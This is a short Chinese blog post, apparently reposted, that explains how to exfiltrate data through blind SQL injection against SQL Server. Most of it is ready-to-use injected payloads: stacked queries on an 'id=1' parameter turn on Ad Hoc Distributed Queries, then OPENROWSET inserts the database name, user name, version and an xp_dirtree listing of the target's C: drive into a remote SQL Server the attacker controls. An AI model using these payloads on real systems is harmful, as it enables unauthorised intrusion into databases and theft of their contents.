首页 > 数据库 > > sqlserver openrowset转发利用
适用于盲注,页面不返回信息,这种转发利用需要一台sqlserver机器
原理:把当前数据库中的内容发送到远程的sqlserver机器上
启用 Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
开启扩展
id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
查询目标数据库的当前库名,本地创建相同的库名
id=1 and db_name()>在本地sqlserver上建立相同的库名并创建临时表
creat database 库名
creat table ##version(version verchar(500))
查询目标数据库信息,写入本地数据库
id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23version' ) select 需要查询的数据
db_name()
user_name()
@@version
......

再去本地数据库中查询临时表
select * from ##version两边都需要创建临时表
本地数据库
create table ##nonamed( dir ntext, num int )
目标数据库
id=1;create table %23%23nonamed( dir ntext, num int )
先把目标主机的C盘路径信息插入到临时表
id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1再把临时表中的信息传输到本地数据库中的临时表,进行查询
id=1;insert into OPENROWSET('SQLOLEDB', 'server=本地数据库IP;uid=账号;pwd=密码', 'select * from %23%23nonamed' ) select * from %23%23nonamed本地数据库查询

最后关闭Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure
本文来源https://www.modb.pro/db/75534
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/69953058/viewspace-3122239/ ,如需转载,请注明出处,否则将追究法律责任。